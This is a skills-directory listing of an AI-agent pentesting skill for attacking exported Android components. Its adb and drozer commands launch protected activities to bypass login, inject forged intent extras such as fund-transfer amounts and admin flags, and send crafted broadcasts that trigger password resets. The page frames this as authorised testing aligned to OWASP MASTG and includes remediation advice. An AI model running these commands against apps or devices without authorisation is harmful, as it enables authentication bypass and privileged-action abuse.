Skip to content
Back to skills

Android Exported Components

ASecurity

Attack exported Android activities, services, and broadcast receivers via adb am and drozer — launch protected activities to bypass auth, fuzz intent extras, send crafted broadcasts/service messages to trigger privileged actions. Tier 1. Use for any exported non-provider component. Aligns to OWASP MASTG MASVS-PLATFORM.

  • 16 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added November 17, 2026
securityrustgoshellapibackend

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill android-exported-components --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Android Exported Components?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Android Exported Components
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-android-exported-components/badge)](https://www.skillsdirectory.com/skills/anandjogawade-android-exported-components)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: android-exported-components
description: Attack exported Android activities, services, and broadcast receivers via adb am and drozer — launch protected activities to bypass auth, fuzz intent extras, send crafted broadcasts/service messages to trigger privileged actions. Tier 1. Use for any exported non-provider component. Aligns to OWASP MASTG MASVS-PLATFORM.
---

# Android Exported Components (Activities / Services / Receivers)

Any app can call an exported component. Launch them directly to bypass intended flow, and feed them attacker-controlled intents.

## Trigger phrases
`exported activity, exported service, exported receiver, am start, am startservice, am broadcast, drozer, intent extras, auth bypass activity`

## Method
1. **Enumerate** (from `android-manifest-analysis` + runtime):
   - `adb shell dumpsys package <package> | grep -A2 Activity | grep exported`
   - `drozer> run app.activity.info -a <package>` / `app.service.info` / `app.broadcast.info`
2. **Exported activities — launch & fuzz:**
   - `adb shell am start -n <package>/.SensitiveActivity` — reach it without logging in.
   - Inject extras: `adb shell am start -n <package>/.TransferFundsActivity --es amount "99999" --ei qty 1 --ez admin true`
   - Task-flag abuse: `adb shell am start -n <package>/.LoginActivity -f 0x10000000`
   - `drozer> run app.activity.start --component <package> <package>.SensitiveActivity`
3. **Exported receivers — crafted broadcasts:**
   - `adb shell am broadcast -a com.vulnapp.EXPLOIT_ACTION --es cmd reset_password`
   - `drozer> run app.broadcast.send --action com.vulnapp.EXPLOIT_ACTION --extra string cmd reset_password`
   - Review `onReceive` in decompiled code for privileged actions (password reset, config change, SMS send).
4. **Exported services — start / message:**
   - `adb shell am startservice -n <package>/.DataSyncService --es sync malicious_data`
   - Messenger service: `drozer> run app.service.send <package> <package>.TargetService --msg 2354 9234 1 --extra string pin 1234 --bundle-as-obj`
   - Review `onStartCommand`/`handleMessage`; abuse data-sync/auth/privileged ops; leak via `replyTo`.

## Modern / rare techniques
- **Hidden/admin/debug activities** reachable without auth are a classic one-command auth bypass — enumerate every exported activity, not just obvious ones.
- **API 31+ exported defaults** — components with intent-filters that forgot explicit `exported` may be unexpectedly reachable; confirm with `dumpsys`.
- Intent *redirection* and FileProvider/grantUri chains are handled in `android-intent-injection-redirection`; mutable PendingIntents in `android-pendingintent-abuse`.

## Escalation / chaining
Auth bypass / privileged action → state tampering, privilege escalation; chain to `android-intent-injection-redirection` for reaching non-exported components and `android-content-provider-exploitation` for data.

## Backend & tooling
Preferred Kali path (native Kali / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike). Needs the user's device/emulator (adb + drozer agent apk installed). Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Reproduce from an unprivileged context (plain adb / a third-party PoC app with no special perms) and confirm the privileged action truly executed (state changed, screen reached) before marking CONFIRMED.

## Evidence
The exact `am`/drozer command, the component reached/action triggered, and the before/after state. Remediation: `exported=false` unless required; validate caller & session on entry; `signature` permission; don't trust intent extras.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.